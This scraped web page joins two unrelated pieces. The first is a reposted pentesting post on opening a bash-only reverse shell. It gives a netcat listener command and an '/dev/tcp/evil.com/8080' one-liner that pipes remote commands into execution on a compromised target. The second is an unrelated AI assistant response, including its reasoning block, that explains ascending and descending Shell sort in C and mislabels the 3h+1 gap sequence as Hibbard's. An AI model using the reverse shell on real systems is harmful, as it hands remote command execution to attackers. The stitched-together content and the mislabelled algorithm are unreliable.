Reverse Shell with Bash

本文介绍了一种不依赖第三方工具如Netcat的情况下,在目标系统上创建反向命令Shell的方法。通过使用Bash自身的功能,该技术可以为渗透测试者提供一种隐蔽且有效的远程访问手段。

http://www.google.cn/search?hl=zh-CN&source=hp&q=http%3A%2F%2Flabs.neohapsis.com%2F2008%2F04%2F17%2Fconnect-back-shell-literally%2F&btnG=Google+%E6%90%9C%E7%B4%A2&aq=f&oq=

I am stuck at the Dubai International Airport and I have nothing else interesting to do. So, I though I might share a simple technique which will go into the Agile Hacking project. Here I will show you how to create a reverse command shell without using 3rd-party tools such as the all mighty netcat. Please read on!

FreeBSD unix

When the pentester compromises a machine they often need to provide themselves with a user friendly access to the system. This is where command shells come into place. It is worth noting that there are a couple of variants of command shells. The typical shell consists of a generic network client, typically netcat, listening on a remote port which pipes output into something like bash. Another type of shell, which is known to be suitable when the pentester is restricted in terms of network service connectivity/availability, is the reverse shell which consists of a generic network client, again something like netcat, connecting to the attacker’s machine and piping input to bash. Most of the time, the attacker will use netcat, because this is the tool that is suggested in most security references and books.

Although netcat is quite useful, and you may have to use it in most cases, here is a simple technique which emulates what exactly netcat does but it relies on bash only. Let’s see how.

  • In step one we start a listening service on our box. We can use netcat, or whatever you might have in hand.
    $ nc -l -p 8080 -vvv
  • On the target we have to perform some bash-fu. We will create a new descriptor which is assigned to a network node. Then we will read and write to that descriptor.
    $ exec 5<>/dev/tcp/evil.com/8080
    $ cat <&5 | while read line; do $line 2>&5 >&5; done

There you go. Now everything we type in our local listening server will get executed on the target and the output of the commands will be piped back. Keep in mind that we don’t use any 3rd-party tools on the target but its default shell. This technique comes extremely handy in many situations and it leaves very small footprint on the targeted system.

<think> Hmm, the user is asking about implementing Shell sort in both ascending and descending orders. Let me look at the references they provided. Reference [1] mentions the Linux sort command options like -n and -r, which is interesting but not directly about Shell sort implementation. References [2] and [3] discuss bubble sort and quick sort respectively, while reference [4] actually contains Shell sort code - perfect! The user seems to be learning different sorting algorithms. Given they specifically asked about Shell sort's direction control, they're probably comparing sorting methods or working on a programming task. The request is quite precise - they want both ascending and descending implementations. Looking at reference [4]'s Shell sort code, the core logic uses an insertion-sort-like approach within decreasing gaps. For ascending order, it shifts elements when key < arr[j-inc]. To reverse it, I just need to flip that comparison to key > arr[j-inc]. I should explain both implementations clearly, keeping the gap sequence discussion simple but mentioning common choices like Knuth's formula. The user might also appreciate seeing how the direction control compares to other sorts like in reference [2]'s bubble sort with its reverse traversal approach. Better include concrete code examples since reference [4] shows C++ and they seem comfortable with code. Should use clear variable names and comments. The time complexity note from reference [4] is worth keeping too - O(n^{3/2}) and unstable nature. For the related questions section, performance analysis and gap sequence choices would naturally follow from this topic. The Linux sort command reference [1] suggests they might be interested in real-world applications too. The user appears technical but might need the key modification point (the comparison flip) highlighted clearly. No signs of frustration - seems like a straightforward learning query. Better keep the tone helpful but precise. </think> 基于引用内容,Shell Sort(希尔排序)的正序与倒序实现主要通过**比较逻辑的方向控制**实现,以下是具体方法和代码实现: --- ### **一、Shell Sort 正序(升序)实现** **核心逻辑**:元素后移条件为 `key < arr[j-gap]`(小值前移) **引用参考**:引用[4]中 `key < arr[j-inc]` 实现升序排序 ```c void shellSort_asc(int arr[], int n) { for (int gap = n/2; gap > 0; gap /= 2) { // 动态缩小间隔 for (int i = gap; i < n; i++) { int key = arr[i]; int j; // 若当前元素小于前隔gap位的元素,则后移较大值 for (j = i; j >= gap && key < arr[j-gap]; j -= gap) { arr[j] = arr[j-gap]; // 较大值后移 } arr[j] = key; // 插入正确位置 } } } ``` --- ### **二、Shell Sort 倒序(降序)实现** **核心修改**:翻转比较条件为 `key > arr[j-gap]`(大值前移) ```c void shellSort_desc(int arr[], int n) { for (int gap = n/2; gap > 0; gap /= 2) { for (int i = gap; i < n; i++) { int key = arr[i]; int j; // 修改条件:当前元素大于前隔gap位的元素时后移较小值 for (j = i; j >= gap && key > arr[j-gap]; j -= gap) { arr[j] = arr[j-gap]; // 较小值后移 } arr[j] = key; // 插入正确位置 } } } ``` --- ### **关键区别对照表** | 操作 | 正序条件 | 倒序条件 | 目标 | |--------------|------------------------|------------------------|--------------------------| | **比较逻辑** | `key < arr[j-gap]` | `key > arr[j-gap]` | 控制前移元素的大小方向 | | **数据移动** | 后移**较大值** | 后移**较小值** | 实现升序/降序的排列 | > **稳定性说明**:Shell Sort 是不稳定排序(引用[4]),相同元素在排序后相对位置可能改变。 --- ### **三、扩展应用** 1. **动态间隔序列优化** 可替换 `gap = n/2` 为更高效的序列(如Hibbard序列): ```c int gap = 1; while (gap < n/3) gap = gap*3 + 1; // 生成Hibbard序列 ``` 2. **组合命令实现**(引用[1]) 在Linux中直接使用 `sort` 命令: ```bash sort -n file.txt # 正序(数值排序) sort -nr file.txt # 倒序(数值逆序) ``` --- **相关问题** 1. Shell Sort 的时间复杂度如何分析?不同间隔序列对性能有何影响? 2. 如何证明 Shell Sort 是不稳定排序算法? 3. Shell Sort 与插入排序相比有哪些改进?在什么场景下更具优势? [^3][^4]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值